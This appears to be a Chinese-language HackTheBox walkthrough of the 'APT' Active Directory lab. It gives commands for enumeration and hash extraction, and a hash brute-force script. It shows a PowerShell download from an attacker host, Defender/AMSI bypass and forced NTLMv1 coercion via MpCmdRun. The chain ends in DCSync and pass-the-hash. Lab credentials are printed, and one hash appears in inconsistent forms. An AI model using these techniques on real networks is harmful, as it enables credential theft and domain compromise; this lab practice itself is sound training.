HackTheBox·APT
域靶机
信息搜集
IPv4端口扫描
一共就开放了两个端口:Web和RPC服务。
nmap -sC -sV --min-rate=10000 --max-retries=0 -p- -oN apt-tcp.nmap -v 10.10.10.213
RPC端点枚举
尝试使用rpcclient进行匿名连接,发现连接失败。
rpcclient -U "" -N 10.10.10.213
接着我们继续用rpcmap.py枚举:一共发现了4个DCOM对象。
python /tools/impacket/examples/rpcmap.py ncacn_ip_tcp:10.10.10.213[135]此扫描提供了一组RPC端点及其UUID。

我们可以利用下面的项目来枚举地址IPv6地址。
https://github.com/mubix/IOXIDResolver
python IOXIDResolver.py -t 10.10.10.213
这个脚本的代码逻辑很简单,即通过DCOM的的IObjectExporter接口获取目标机器的网络信息。
并且使用的是无认证的RPC连接方式。
核心代码如下:核心在于IObjectExporter.ServerAlive2()方法来获取网络接口信息。

更加详细的解释就是调用的是DCOM(Distributed Component Object Model)的IObjectExporter接口。
IPv6端口扫描
我们现在获取了IPv6地址,对目标机器进行重新扫描。
nmap -sC -sV --min-rate=10000 --max-retries=0 -p- -oN apt.nmap -v -6 dead:beef::3db4:c917:8be7:8ee8# Nmap 7.94SVN scan initiated Sat Mar 22 15:52:04 2025 as: nmap -sC -sV --min-rate=10000 --max-retries=0 -p- -oN apt.nmap -v -6 dead:beef::3db4:c917:8be7:8ee8
Warning: dead:beef::3db4:c917:8be7:8ee8 giving up on port because retransmission cap hit (0).
Nmap scan report for dead:beef::3db4:c917:8be7:8ee8
Host is up (0.43s latency).
Not shown: 65512 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Bad Request
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-22 07:33:55Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
|_ssl-date: 2025-03-22T07:35:32+00:00; -18m30s from scanner time.
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Issuer: commonName=apt.htb.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-24T07:07:18
| Not valid after: 2050-09-24T07:17:18
| MD5: c743:dd92:e928:50b0:aa86:6f80:1b04:4d22
|_SHA-1: f677:c290:98c0:2ac5:8575:7060:683d:cdbc:5f86:5d45
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Issuer: commonName=apt.htb.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-24T07:07:18
| Not valid after: 2050-09-24T07:17:18
| MD5: c743:dd92:e928:50b0:aa86:6f80:1b04:4d22
|_SHA-1: f677:c290:98c0:2ac5:8575:7060:683d:cdbc:5f86:5d45
|_ssl-date: 2025-03-22T07:35:30+00:00; -18m29s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
|_ssl-date: 2025-03-22T07:35:32+00:00; -18m29s from scanner time.
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Issuer: commonName=apt.htb.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-24T07:07:18
| Not valid after: 2050-09-24T07:17:18
| MD5: c743:dd92:e928:50b0:aa86:6f80:1b04:4d22
|_SHA-1: f677:c290:98c0:2ac5:8575:7060:683d:cdbc:5f86:5d45
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
|_ssl-date: 2025-03-22T07:35:29+00:00; -18m29s from scanner time.
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Issuer: commonName=apt.htb.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-24T07:07:18
| Not valid after: 2050-09-24T07:17:18
| MD5: c743:dd92:e928:50b0:aa86:6f80:1b04:4d22
|_SHA-1: f677:c290:98c0:2ac5:8575:7060:683d:cdbc:5f86:5d45
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Bad Request
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Bad Request
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
49687/tcp open msrpc Microsoft Windows RPC
Service Info: Host: APT; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
|_clock-skew: mean: -18m27s, deviation: 3s, median: -18m29s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: apt
| NetBIOS computer name: APT\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: apt.htb.local
|_ System time: 2025-03-22T07:35:13+00:00
| smb2-time:
| date: 2025-03-22T07:35:08
|_ start_date: 2025-03-22T07:05:34
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 22 15:54:06 2025 -- 1 IP address (1 host up) scanned in 121.99 seconds这儿截一张之后打完这台机器查看网络情况的图。
明明IPv4和IPv6地址都设置了监听,为什么通过IPv4地址扫描不到呢?

SMB匿名枚举
这儿通过crackmapexec和smbmap枚举IPv6都会报错。
smbclient -L dead:beef::3db4:c917:8be7:8ee8 -N
我们尝试连接backup并下载文件。
smbclient //dead:beef::3db4:c917:8be7:8ee8/backup -N
之后发现-u '' -p ''可以枚举成功,而常用的-u 'null' -p ''则会报错。

ZIP压缩包爆破
用john爆破得到压缩包密码。
zip2john backup.zip > ziphash
john -w=/usr/share/wordlists/rockyou.txt ziphash
解压,发现得到两个关键文件。

立足点获取
NTDS哈希提取
用上面的两个文件中提取出来一堆哈希。
impacket-secretsdump -system /htb/apt/registry/SYSTEM -ntds /htb/apt/Active\ Directory/ntds.dit LOCAL
接着我们制作两份字典。
awk -F ':' '{print $1}' data.txt > username.txt
awk -F ':' '{print $4}' data.txt > password.txt字典凭证爆破
利用上面的两份字典进行爆破,但是这样报错,没有枚举几次就报NETBIOS连接错误了。
这儿需要重置机器,否则无法访问IPv6地址。

我们只好先爆破用户名,再测试密码:一共就爆破出来三个用户。
./kerbrute userenum --domain htb.local --dc htb.local /htb/apt/username.txt 
接着我们继续尝试哈希传递,测试这几个用户。
由于目标有WAF会Ban IP,我们可以尝试用GetTGT.py脚本进行爆破,但是此脚本不支持哈希批量爆破。
我们可以写一个shell脚本来爆破。
#!/bin/bash
# 逐行读取哈希值并执行命令
while IFS= read -r hash; do
# 跳过空行
if [ -z "$hash" ]; then
continue
fi
# 执行命令并捕获输出
output=$(python /tools/impacket/examples/getTGT.py htb.local/henry.vinson -dc-ip htb.local -hashes ":$hash" 2>&1)
exit_code=$?
# 检查输出中是否包含特定错误信息
if echo "$output" | grep -q "KDC_ERR_PREAUTH_FAILED"; then
echo "[-] 哈希错误: $hash"
elif echo "$output" | grep -q "KRB_AP_ERR_SKEW" || echo "$output" | grep -q "Saving ticket in"; then
echo "[+] 发现正确的哈希值: $hash"
echo "完整输出:"
echo "$output"
# 可以选择在这里退出脚本
exit 0
else
echo "未知错误或成功: $hash"
echo "完整输出:"
echo "$output"
fi
done < "password.txt"
但是值得注意的是,这儿需要做时间同步,但是用IPv6地址,通过ntpdate似乎无法进行时间同步。
因为Kerberos认证是基于时间的,无法进行时间同步就无法申请票据。

尽管无法进行时间同步,但是进行身份验证成功,crackmapexec默认的应该是NTLM认证。

我们从数据包也能看出来,这是NTLM认证的 协商/质询/响应 流程。

henry.vinson:e53d87d42adaa3ca32bdb34a876cbffb注册表查询
接着我们进行注册表查询。
python /tools/impacket/examples/reg.py -hashes :e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local htb.local/henry.vinson@htb.local query -keyName HKU -s > reg.txt注:这儿的HKU即指的是HKEY_USERS,涉及该用户相关的注册表项。

这儿得到一组凭据,成功通过WinRM连接henry.vinson_adm:G1#Ny5@2dvht。

至于为什么这个路径存在明文密码,无非就是应用的不安全存储导致的。
权限提升
Bloodhound
因为我在教室,网络非常不好,利用evil-winrm内置的上传模块太慢了。
我们直接利用powershell内置的网络类命令上传:没看到什么有效的组策略和权限。
powershell -c (New-Object Net.WebClient).downloadfile('http://10.10.16.15/SharpHound.exe', 'C:/programdata/SharpHound.exe')
机器信息枚举
我们可以利用winPEAS和Seatbelt对服务器进行枚举。
但是这儿有个问题,我们上传运行会被Windows Defender检测到并阻止。

我们可以利用evil-winrm内置的Bypass-4MSI模块来绕过。

然后用Invoke-Binary模块将可执行程序加载到内存中:等待的时间比较长。

我们查看Powershell历史命令文件。
$Cred = get-credential administrator
invoke-command -credential $Cred -computername localhost -scriptblock {Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" lmcompatibilitylevel -Type DWORD -Value 2 -Force}上面这两行用于通过注册表来修改LAN Manager认证级别。
从官方文档可知Level 2代表的是支持NTLM v1认证。

同时我们从上的扫描结果中,也可以发现是支持NTLM v1认证的。

NTLM v1捕获
上述我们知道目标机器是支持NTLM v1认证,而NTLM v1是基于DES加密的,并且其认证过程存在漏洞,可以将NTLM v1哈希转换为可利用的NTLM哈希。
现在需要一种方法让SYSTEM账户访问我的机器:直接用Defender扫描即可。
在启动Responder之前,需要编辑/etc/responder/Responder.conf将质询设置为1122334455667788,这是crack.sh在其彩虹表所使用的,接着启动responder,并用--lm强制降级为Net-NTLMv1。
接着我利用Windows Defender的命令行工具进行扫描:
.\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.16.15\Share\hacker-ScanType 1:快速扫描。-ScanType 2:完全扫描。-ScanType 3:自定义扫描,需指定路径。

另一边已经接收到了Net-NTLM v1哈希,这是个机器账户的NTLM v1哈希。

APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788破解NTLMv1哈希
NTLM v1 Hash是非常不安全的,可以被彩虹表破解。
https://github.com/evilmog/ntlmv1-multi
首先用ntlmv1.py脚本对哈希进行分析。
python ntlmv1.py --ntlmv1 "APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788"
利用crack.sh进行彩虹表破解,将NT Hash破解为NTLM Hash,但是这个站在维护,无法使用。
NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384破解出来的结果应该如下所示。
d167c323886b12f5f82feae86a7f798这儿我们考虑无法使用crack.sh这个站该怎么破解NTLM v1哈希。
首先我们利用ct3_to_ntlm.bin计算NTLM v1质询中HTLM Hash的最后4个字符。
/usr/lib/hashcat-utils/ct3_to_ntlm.bin 30A49B5BB858D384 1122334455667788
接着我们需要制作一份哈希字典。
95ACA8C7248774CB:1122334455667788
427E1AE5B8D5CE68:1122334455667788接着继续进行破解,这儿卡住了,似乎一直计算不出来DES密钥,应该是需要很长时间。
hashcat -m 14000 -a 3 -1 DES_full.charset --hex-charset hash.txt ?1?1?1?1?1?1?1?1
我们还有另一种爆破方式,利用hashcat进行明文爆破:爆破结果依托于密码字典。
hashcat -a 0 -m 5500 hash /usr/share/wordlists/rockyou.txt
显而易见,rockyou.txt中没有包含上面题目中抓取到的NTLM v1 Hash对应的明文密码。
其实主要原因是机器用户的密码随机性太强,无法被爆破。

我们继续扩展,怎么爆破NTLM Hash呢,在昨天的比赛中竟然没想到?
其实和上面直接爆破而不是计算的原理是相同的。
hashcat -a 0 -m 1000 hash /usr/share/wordlists/rockyou.txt
Dcsync读取
拥有机器用户的哈希,虽然不能登录,但是可以利用Dcsync来读取域内哈希。
python /tools/impacket/examples/secretsdump.py -hashes :d167c3238864b12f5f82feae86a7f798 'htb.local/APT$@htb.local'
哈希传递
接着直接哈希传递用管理员连接即可。
evil-winrm -i htb.local -u administrator -H c370bddf384a691d811ff3495e8a72e2